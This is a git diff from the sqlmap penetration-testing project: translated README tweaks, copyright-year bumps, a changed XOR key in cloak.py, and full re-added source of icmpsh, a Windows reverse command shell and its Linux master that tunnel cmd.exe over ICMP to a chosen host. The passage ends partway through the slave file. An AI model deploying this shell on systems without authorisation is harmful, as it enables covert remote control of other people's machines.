+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa.
@@ -22,7 +22,7 @@ Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào.
+sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào.
Sử dụng
----
diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md
index d63d6da4a..b065c10a0 100644
--- a/doc/translations/README-zh-CN.md
+++ b/doc/translations/README-zh-CN.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap 是一款开源的渗透测试工具，可以自动化进行SQL注入的检测、利用，并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合，其中包括数据库指纹识别、数据读取和访问底层文件系统，甚至可以通过带外数据连接的方式执行系统命令。
@@ -20,7 +20,7 @@ sqlmap 是一款开源的渗透测试工具，可以自动化进行SQL注入的
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
+sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上
使用方法
----
diff --git a/extra/__init__.py b/extra/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index b6f8f97cf..9e1acd04b 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index cce563973..465f220b8 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
-KEY = b"E6wRbVhD0IBeCiGJ"
+KEY = b"ZCuk6GdHSj4KtgDq"
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index ba25c56a2..bcac84163 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index d8f93d41f..7cdb11b70 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c
index 32c3edb74..95deb603b 100644
--- a/extra/icmpsh/icmpsh-m.c
+++ b/extra/icmpsh/icmpsh-m.c
@@ -1,134 +1,134 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define IN_BUF_SIZE 1024
-#define OUT_BUF_SIZE 64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
- unsigned long sum;
- unsigned short oddbyte, rs;
-
- sum = 0;
- while(nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
-
- if(nbytes == 1) {
- oddbyte = 0;
- *((unsigned char *) &oddbyte) = *(u_char *)ptr;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- rs = ~sum;
- return rs;
-}
-
-int main(int argc, char **argv)
-{
- int sockfd;
- int flags;
- char in_buf[IN_BUF_SIZE];
- char out_buf[OUT_BUF_SIZE];
- unsigned int out_size;
- int nbytes;
- struct iphdr *ip;
- struct icmphdr *icmp;
- char *data;
- struct sockaddr_in addr;
-
-
- printf("icmpsh - master\n");
-
- // create raw ICMP socket
- sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd == -1) {
- perror("socket");
- return -1;
- }
-
- // set stdin to non-blocking
- flags = fcntl(0, F_GETFL, 0);
- flags |= O_NONBLOCK;
- fcntl(0, F_SETFL, flags);
-
- printf("running...\n");
- while(1) {
-
- // read data from socket
- memset(in_buf, 0x00, IN_BUF_SIZE);
- nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
- if (nbytes > 0) {
- // get ip and icmp header and data part
- ip = (struct iphdr *) in_buf;
- if (nbytes > sizeof(struct iphdr)) {
- nbytes -= sizeof(struct iphdr);
- icmp = (struct icmphdr *) (ip + 1);
- if (nbytes > sizeof(struct icmphdr)) {
- nbytes -= sizeof(struct icmphdr);
- data = (char *) (icmp + 1);
- data[nbytes] = '\0';
- printf("%s", data);
- fflush(stdout);
- }
-
- // reuse headers
- icmp->type = 0;
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = ip->saddr;
-
- // read data from stdin
- nbytes = read(0, out_buf, OUT_BUF_SIZE);
- if (nbytes > -1) {
- memcpy((char *) (icmp + 1), out_buf, nbytes);
- out_size = nbytes;
- } else {
- out_size = 0;
- }
-
- icmp->checksum = 0x00;
- icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
- // send reply
- nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
- if (nbytes == -1) {
- perror("sendto");
- return -1;
- }
- }
- }
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define IN_BUF_SIZE 1024
+#define OUT_BUF_SIZE 64
+
+// calculate checksum
+unsigned short checksum(unsigned short *ptr, int nbytes)
+{
+ unsigned long sum;
+ unsigned short oddbyte, rs;
+
+ sum = 0;
+ while(nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if(nbytes == 1) {
+ oddbyte = 0;
+ *((unsigned char *) &oddbyte) = *(u_char *)ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ rs = ~sum;
+ return rs;
+}
+
+int main(int argc, char **argv)
+{
+ int sockfd;
+ int flags;
+ char in_buf[IN_BUF_SIZE];
+ char out_buf[OUT_BUF_SIZE];
+ unsigned int out_size;
+ int nbytes;
+ struct iphdr *ip;
+ struct icmphdr *icmp;
+ char *data;
+ struct sockaddr_in addr;
+
+
+ printf("icmpsh - master\n");
+
+ // create raw ICMP socket
+ sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (sockfd == -1) {
+ perror("socket");
+ return -1;
+ }
+
+ // set stdin to non-blocking
+ flags = fcntl(0, F_GETFL, 0);
+ flags |= O_NONBLOCK;
+ fcntl(0, F_SETFL, flags);
+
+ printf("running...\n");
+ while(1) {
+
+ // read data from socket
+ memset(in_buf, 0x00, IN_BUF_SIZE);
+ nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
+ if (nbytes > 0) {
+ // get ip and icmp header and data part
+ ip = (struct iphdr *) in_buf;
+ if (nbytes > sizeof(struct iphdr)) {
+ nbytes -= sizeof(struct iphdr);
+ icmp = (struct icmphdr *) (ip + 1);
+ if (nbytes > sizeof(struct icmphdr)) {
+ nbytes -= sizeof(struct icmphdr);
+ data = (char *) (icmp + 1);
+ data[nbytes] = '\0';
+ printf("%s", data);
+ fflush(stdout);
+ }
+
+ // reuse headers
+ icmp->type = 0;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = ip->saddr;
+
+ // read data from stdin
+ nbytes = read(0, out_buf, OUT_BUF_SIZE);
+ if (nbytes > -1) {
+ memcpy((char *) (icmp + 1), out_buf, nbytes);
+ out_size = nbytes;
+ } else {
+ out_size = 0;
+ }
+
+ icmp->checksum = 0x00;
+ icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
+
+ // send reply
+ nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
+ if (nbytes == -1) {
+ perror("sendto");
+ return -1;
+ }
+ }
+ }
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c
index af30618f9..c10850977 100644
--- a/extra/icmpsh/icmpsh-s.c
+++ b/extra/icmpsh/icmpsh-s.c
@@ -1,344 +1,344 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK 0
-#define STATUS_SINGLE 1
-#define STATUS_PROCESS_NOT_CREATED 2
-
-#define TRANSFER_SUCCESS 1
-#define TRANSFER_FAILURE 0
-
-#define DEFAULT_TIMEOUT 3000
-#define DEFAULT_DELAY 200
-#define DEFAULT_MAX_BLANKS 10
-#define DEFAULT_MAX_DATA_SIZE 64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
- SECURITY_ATTRIBUTES sattr;
- STARTUPINFOA si;
- HANDLE in_read, out_write;
-
- memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
- memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-
- // create communication pipes
- memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
- sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
- sattr.bInheritHandle = TRUE;
- sattr.lpSecurityDescriptor = NULL;
-
- if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- // spawn process
- memset(&si, 0x00, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.hStdError = out_write;
- si.hStdOutput = out_write;
- si.hStdInput = in_read;
- si.dwFlags |= STARTF_USESTDHANDLES;
-
- if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- CloseHandle(out_write);
- CloseHandle(in_read);
-
- return STATUS_OK;
-}
-
-void usage(char *path)
-{
- printf("%s [options] -t target\n", path);
- printf("options:\n");
- printf(" -t host host ip address to send ping requests to\n");
- printf(" -r send a single test icmp request and then quit\n");
- printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
- printf(" -o milliseconds timeout in milliseconds\n");
- printf(" -h this screen\n");
- printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
- printf(" before quitting\n");
- printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
- printf("In order to improve the speed, lower the delay (-d) between requests or\n");
- printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
- // create icmp file
- *icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
- int rs;
- char *temp_in_buf;
- int nbytes;
-
- PICMP_ECHO_REPLY echo_reply;
-
- temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
- if (!temp_in_buf) {
- return TRANSFER_FAILURE;
- }
-
- // send data to remote host
- rs = icmp_send(
- icmp_chan,
- target,
- out_buf,
- out_buf_size,
- NULL,
- temp_in_buf,
- max_in_data_size + ICMP_HEADERS_SIZE,
- timeout);
-
- // check received data
- if (rs > 0) {
- echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
- if (echo_reply->DataSize > max_in_data_size) {
- nbytes = max_in_data_size;
- } else {
- nbytes = echo_reply->DataSize;
- }
- memcpy(in_buf, echo_reply->Data, nbytes);
- *in_buf_size = nbytes;
-
- free(temp_in_buf);
- return TRANSFER_SUCCESS;
- }
-
- free(temp_in_buf);
-
- return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
- HMODULE lib;
-
- lib = LoadLibraryA("ws2_32.dll");
- if (lib != NULL) {
- to_ip = GetProcAddress(lib, "inet_addr");
- if (!to_ip) {
- return 0;
- }
- }
-
- lib = LoadLibraryA("iphlpapi.dll");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- lib = LoadLibraryA("ICMP.DLL");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- printf("failed to load functions (%u)", GetLastError());
-
- return 0;
-}
-int main(int argc, char **argv)
-{
- int opt;
- char *target;
- unsigned int delay, timeout;
- unsigned int ip_addr;
- HANDLE pipe_read, pipe_write;
- HANDLE icmp_chan;
- unsigned char *in_buf, *out_buf;
- unsigned int in_buf_size, out_buf_size;
- DWORD rs;
- int blanks, max_blanks;
- PROCESS_INFORMATION pi;
- int status;
- unsigned int max_data_size;
-
- // set defaults
- target = 0;
- timeout = DEFAULT_TIMEOUT;
- delay = DEFAULT_DELAY;
- max_blanks = DEFAULT_MAX_BLANKS;
- max_data_size = DEFAULT_MAX_DATA_SIZE;
-
- status = STATUS_OK;
- if (!load_deps()) {
- printf("failed to load ICMP library\n");
- return -1;
- }
-
- // parse command line options
- for (opt = 1; opt < argc; opt++) {
- if (argv[opt][0] == '-') {
- switch(argv[opt][1]) {
- case 'h':
- usage(*argv);
- return 0;
- case 't':
- if (opt + 1 < argc) {
- target = argv[opt + 1];
- }
- break;
- case 'd':
- if (opt + 1 < argc) {
- delay = atol(argv[opt + 1]);
- }
- break;
- case 'o':
- if (opt + 1 < argc) {
- timeout = atol(argv[opt + 1]);
- }
- break;
- case 'r':
- status = STATUS_SINGLE;
- break;
- case 'b':
- if (opt + 1 < argc) {
- max_blanks = atol(argv[opt + 1]);
- }
- break;
- case 's':
- if (opt + 1 < argc) {
- max_data_size = atol(argv[opt + 1]);
- }
- break;
- default:
- printf("unrecognized option -%c\n", argv[1][0]);
- usage(*argv);
- return -1;
- }
- }
- }
-
- if (!target) {
- printf("you need to specify a host with -t. Try -h for more options\n");
- return -1;
- }
- ip_addr = to_ip(target);
-
- // don't spawn a shell if we're only sending a single test request
- if (status != STATUS_SINGLE) {
- status = spawn_shell(&pi, &pipe_read, &pipe_write);
- }
-
- // create icmp channel
- create_icmp_channel(&icmp_chan);
- if (icmp_chan == INVALID_HANDLE_VALUE) {
- printf("unable to create ICMP file: %u\n", GetLastError());
- return -1;
- }
-
- // allocate transfer buffers
- in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- if (!in_buf || !out_buf) {
- printf("failed to allocate memory for transfer buffers\n");
- return -1;
- }
- memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
- memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
- // sending/receiving loop
- blanks = 0;
- do {
-
- switch(status) {
- case STATUS_SINGLE:
- // reply with a static string
- out_buf_size = sprintf(out_buf, "Test1234\n");
- break;
- case STATUS_PROCESS_NOT_CREATED:
- // reply with error message
- out_buf_size = sprintf(out_buf, "Process was not created\n");
- break;
- default:
- // read data from process via pipe
- out_buf_size = 0;
- if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
- if (out_buf_size > 0) {
- out_buf_size = 0;
- rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
- if (!rs && GetLastError() != ERROR_IO_PENDING) {
- out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
- }
- }
- } else {
- out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
- }
- break;
- }
-
- // send request/receive response
- if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
- if (status == STATUS_OK) {
- // write data from response back into pipe
- WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
- }
- blanks = 0;
- } else {
- // no reply received or error occured
- blanks++;
- }
-
- // wait between requests
- Sleep(delay);
-
- } while (status == STATUS_OK && blanks < max_blanks);
-
- if (status == STATUS_OK) {
- TerminateProcess(pi.hProcess, 0);
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
+
+#define STATUS_OK 0
+#define STATUS_SINGLE 1
+#define STATUS_PROCESS_NOT_CREATED 2
+
+#define TRANSFER_SUCCESS 1
+#define TRANSFER_FAILURE 0
+
+#define DEFAULT_TIMEOUT 3000
+#define DEFAULT_DELAY 200
+#define DEFAULT_MAX_BLANKS 10
+#define DEFAULT_MAX_DATA_SIZE 64
+
+FARPROC icmp_create, icmp_send, to_ip;
+
+int verbose = 0;
+
+int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
+{
+ SECURITY_ATTRIBUTES sattr;
+ STARTUPINFOA si;
+ HANDLE in_read, out_write;
+
+ memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
+
+ // create communication pipes
+ memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
+ sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sattr.bInheritHandle = TRUE;
+ sattr.lpSecurityDescriptor = NULL;
+
+ if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+ if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ // spawn process
+ memset(&si, 0x00, sizeof(STARTUPINFO));
+ si.cb = sizeof(STARTUPINFO);
+ si.hStdError = out_write;
+ si.hStdOutput = out_write;
+ si.hStdInput = in_read;
+ si.dwFlags |= STARTF_USESTDHANDLES;
+
+ if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
+ return STATUS_PROCESS_NOT_CREATED;
+ }
+
+ CloseHandle(out_write);
+ CloseHandle(in_read);
+
+ return STATUS_OK;
+}
+
+void usage(char *path)
+{
+ printf("%s [options] -t target\n", path);
+ printf("options:\n");
+ printf(" -t host host ip address to send ping requests to\n");
+ printf(" -r send a single test icmp request and then quit\n");
+ printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
+ printf(" -o milliseconds timeout in milliseconds\n");
+ printf(" -h this screen\n");
+ printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
+ printf(" before quitting\n");
+ printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+ printf("In order to improve the speed, lower the delay (-d) between requests or\n");
+ printf("increase the size (-s) of the data buffer\n");
+}
+
+void create_icmp_channel(HANDLE *icmp_chan)
+{
+ // create icmp file
+ *icmp_chan = (HANDLE) icmp_create();
+}
+
+int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
+{
+ int rs;
+ char *temp_in_buf;
+ int nbytes;
+
+ PICMP_ECHO_REPLY echo_reply;
+
+ temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
+ if (!temp_in_buf) {
+ return TRANSFER_FAILURE;
+ }
+
+ // send data to remote host
+ rs = icmp_send(
+ icmp_chan,
+ target,
+ out_buf,
+ out_buf_size,
+ NULL,
+ temp_in_buf,
+ max_in_data_size + ICMP_HEADERS_SIZE,
+ timeout);
+
+ // check received data
+ if (rs > 0) {
+ echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
+ if (echo_reply->DataSize > max_in_data_size) {
+ nbytes = max_in_data_size;
+ } else {
+ nbytes = echo_reply->DataSize;
+ }
+ memcpy(in_buf, echo_reply->Data, nbytes);
+ *in_buf_size = nbytes;
+
+ free(temp_in_buf);
+ return TRANSFER_SUCCESS;
+ }
+
+ free(temp_in_buf);
+
+ return TRANSFER_FAILURE;
+}
+
+int load_deps()
+{
+ HMODULE lib;
+
+ lib = LoadLibraryA("ws2_32.dll");
+ if (lib != NULL) {
+ to_ip = GetProcAddress(lib, "inet_addr");
+ if (!to_ip) {
+ return 0;
+ }
+ }
+
+ lib = LoadLibraryA("iphlpapi.dll");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ lib = LoadLibraryA("ICMP.DLL");
+ if (lib != NULL) {
+ icmp_create = GetProcAddress(lib, "IcmpCreateFile");
+ icmp_send = GetProcAddress(lib, "IcmpSendEcho");
+ if (icmp_create && icmp_send) {
+ return 1;
+ }
+ }
+
+ printf("failed to load functions (%u)", GetLastError());
+
+ return 0;
+}
+int main(int argc, char **argv)
+{
+ int opt;
+ char *target;
+ unsigned int delay, timeout;
+ unsigned int ip_addr;
+ HANDLE pipe_read, pipe_write;
+ HANDLE icmp_chan;
+ unsigned char *in_buf, *out_buf;
+ unsigned int in_buf_size, out_buf_size;
+ DWORD rs;
+ int blanks, max_blanks;
+ PROCESS_INFORMATION pi;
+ int status;
+ unsigned int max_data_size;
+
+ // set defaults
+ target = 0;
+ timeout = DEFAULT_TIMEOUT;
+ delay = DEFAULT_DELAY;
+ max_blanks = DEFAULT_MAX_BLANKS;
+ max_data_size = DEFAULT_MAX_DATA_SIZE;
+
+ status = STATUS_OK;
+ if (!load_deps()) {
+ printf("failed to load ICMP library\n");
+ return -1;
+ }
+
+ // parse command line options
+ for (opt = 1; opt < argc; opt++) {
+ if (argv[opt][0] == '-') {
+ switch(argv[opt][1]) {
+ case 'h':
+ usage(*argv);
+ return 0;
+ case 't':
+ if (opt + 1 < argc) {
+ target = argv[opt + 1];
+ }
+ break;
+ case 'd':
+ if (opt + 1 < argc) {
+ delay = atol(argv[opt + 1]);
+ }
+ break;
+ case 'o':
+ if (opt + 1 < argc) {
+ timeout = atol(argv[opt + 1]);
+ }
+ break;
+ case 'r':
+ status = STATUS_SINGLE;
+ break;
+ case 'b':
+ if (opt + 1 < argc) {
+ max_blanks = atol(argv[opt + 1]);
+ }
+ break;
+ case 's':
+ if (opt + 1 < argc) {
+ max_data_size = atol(argv[opt + 1]);
+ }
+ break;
+ default:
+ printf("unrecognized option -%c\n", argv[1][0]);
+ usage(*argv);
+ return -1;
+ }
+ }
+ }
+
+ if (!target) {
+ printf("you need to specify a host with -t. Try -h for more options\n");
+ return -1;
+ }
+ ip_addr = to_ip(target);
+
+ // don't spawn a shell if we're only sending a single test request
+ if (status != STATUS_SINGLE) {
+ status = spawn_shell(&pi, &pipe_read, &pipe_write);
+ }
+
+ // create icmp channel
+ create_icmp_channel(&icmp_chan);
+ if (icmp_chan == INVALID_HANDLE_VALUE) {
+ printf("unable to create ICMP file: %u\n", GetLastError());
+ return -1;
+ }
+
+ // allocate transfer buffers
+ in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
+ if (!in_buf || !out_buf) {
+ printf("failed to allocate memory for transfer buffers\n");
+ return -1;
+ }
+ memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+ memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
+
